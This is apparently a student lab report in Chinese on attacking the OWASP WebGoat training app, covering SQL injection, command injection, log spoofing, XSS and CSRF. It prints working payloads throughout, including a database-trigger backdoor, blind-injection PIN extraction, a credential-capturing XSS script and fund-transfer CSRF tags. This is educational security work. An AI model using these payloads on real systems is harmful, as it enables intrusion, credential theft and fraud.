2018-2019-2 网络对抗技术 20165336 Exp 9 Web安全基础
2018-2019-2 网络对抗技术 20165336 Exp 9 Web安全基础
- 实践过程记录
- WebGoat安装
- SQL注入攻击
- 1.命令注入(Command Injection)
- 2.数字型注入(Numeric SQL Injection)
- 3.日志欺骗(Log Spoofing)
- 4.SQL 注入(LAB: SQL Injection)
- 5.字符串注入(String SQL Injection)
- 6.数据库后门(Database Backdoors)
- 7.数字型盲注入(Blind Numeric SQL Injection)
- 8.字符串型盲注入(Blind String SQL Injection)
- XSS攻击
- 1.XSS 钓鱼(Phishing with XSS)
- 2.存储型XSS攻击(Stored XSS Attacks)
- 3.反射型XSS攻击(Reflected XSS Attacks)
- CSRF攻击
- 1.跨站请求伪造(Cross Site Request Forgery (CSRF))
- 2.绕过 CSRF 确认( CSRF Prompt By‐Pass)
基础问题
-
1.SQL注入攻击原理,如何防御?
- 原理:
(1)SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
(2)sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。如:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。 - 防御:
(1)关闭或删除不必要的交互式提交表单页面;
(2)对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
(3)不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
(4)将数据库里的内容进行加密处理使其不具有特殊的意义。
- 原理:
-
2.XSS攻击的原理,如何防御?
- 原理:
(1)XSS:跨站脚本。攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。 - 防御:
(1)用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
(2)网页制作者角度:
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义
- 原理:
-
3.CSRF攻击原理,如何防御?
- 原理:
(1)CSRF :跨站请求伪造。
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
(2)主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码 - 防御:
(1)验证请求中的Token
(2)验证 Referer
(3)添加加随机验证
(4)设定cookie域
- 原理:
实践过程记录
WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。参考网址
- WebGoat默认使用
8080端口
,所以开启前先用netstat -tupln | grep 8080
查看端口是否被占用 - 如果被占用,用
kill 进程号
终止占用8080端口
的进程。 - 普通安装,命令行输入
java -jar webgoat-container-7.0.1-war-exec.jar
- 浏览器转:
localhost:8080/WebGoat
用默认用户名密码登录即可。
SQL注入攻击(Injection Flaws)
1.命令注入(Command Injection)
概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
操作方法:
- 右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
,最后点代码其他位置保存修改。
- 点击
view
,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
2.数字型注入(Numeric SQL Injection)
概念:注入数字型数据(如:永真式)达到注入的效果。
操作方法:
- 右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值
中添加or 1=1
- 显示所有城市的天气情况,攻击成功!
3.日志欺骗(Log Spoofing)
概念:通过在日志文件中插入脚本实现欺骗。
操作方法:
- 前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。利用入回车(0D%)和换行符(%0A),在 username 中填入
kzq%0d%0aLogin Succeeded for username: admin
- 攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将
admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息。
4.SQL 注入(LAB: SQL Injection)
Stage 1: 字符串型注入(Stage 1: String SQL Injection)
操作方法:
- 右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度
限制改为18
。
- 以用户
Neville(admit)
登录,输入密码hello' or '1' = '1
得到所有人员列表,攻击成功!
Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
操作方法:
- 使用用户名
Larry
,密码larry
点击login
登录,点击ViewProfile
查看用户信息
-
右键点击页面,选择
inspect Element
审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。 -
用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成
101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据。
- 得到老板的账户信息,攻击成功!
5.字符串注入(String SQL Injection)
概念:通过注入字符串绕过认证
操作方法:正常情况下只能查询到用户名对应的信用卡号码
- 输入查询的用户名
Smith' or 1=1--
(Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)
- 得到所有用户的信用卡号码,攻击成功!
6.数据库后门(Database Backdoors)
操作方法:
- 输入101,得到该用户的信息。我们可以看到,输入的语句没有验证,很容易进行 SQL 注入
- 输入注入语句
101; update employee set salary=18000
执行两个语句
- 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='kzq@hackme.com'WHERE userid = NEW.userid
BEFORE/AFTER
参数指定了触发执行的时间,在事件之前或是之后FOR EACH ROW
表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据
7.数字型盲注入(Blind Numeric SQL Injection)
操作方法:
- 本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐 号有效,否则无效。 - 输入查询语句
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效
- 针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );
如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
8.字符串型盲注入(Blind String SQL Injection)
操作方法:
- 与数字型盲注入类似,只是将注入的数字换为字符串而已
例如:输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );
取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小- SUBSTRING 语法为
SUBSTRING(STRING,START,LENGTH)
- SUBSTRING 语法为
- 同样使用二分法进行测试,最后得到pin字段为
Jill
XSS攻击(Cross‐Site Scripting)
概念:跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
1.XSS 钓鱼(Phishing with XSS)
操作方法:
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
- 一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
- 在
XSS
-Phishing with XSS
搜索上面代码,可以看到页面中增加了一个表单
- 现在我们需要一段脚本:
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
- 这段代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
- 将上面两段代码合并搜索
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>
- 我们在搜索到的表单中输入用户名和密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们
2.存储型XSS攻击(Stored XSS Attacks)
操作方法:
- 在Message中构造语句
<script>alert("20165336 attack succeed!");</script>
,Title
任意输入。提交后可发现刚创建的帖子5336
。 - 点击
5336
,然后会弹出一个对话框,证明XSS攻击成功。
3.反射型XSS攻击(Reflected XSS Attacks)
操作方法:
- 在
Enter your three digit access code:
中输入<script>alert("I am 20165336");</script>
点击Purchase
,成功显示警告框,内容为我们script脚本指定的内容。
CSRF攻击
概念:跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性.
1.跨站请求伪造(Cross Site Request Forgery (CSRF))
操作方法:
- 点击
XSS
-Cross Site Request Forgery(CSRF)
- 查看页面右下方
Parameters
中的src
和menu
值,我的分别为714
和900
- 在
Message
框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=714&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片) - 输入任意Title,提交后,在
Message List
中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2.绕过 CSRF 确认( CSRF Prompt By‐Pass)
- 点击
XSS
-CSRF Prompt By-Pass
- 同上面的攻击,查看页面右下方的
Parameters
中的src
和menu
值,我的分别为724
和900
,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=320&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
生成以Title命名的链接,点击链接,攻击成功
实验总结与体会
通过对Webgoat的使用,主要学习了SQL注入攻击、XSS攻击和CSRF攻击。对于这三个方面的攻击,分为很多小模块的学习。在整个学习过程中,发现我们这次的实验攻击很多部分都是关于构造语句、更改语句进行的攻击,我觉得这个部分虽然现在实现很简单,但是通过学习的不断深入,如何能够将攻击高层次化,更加完整,是我们学习的目标。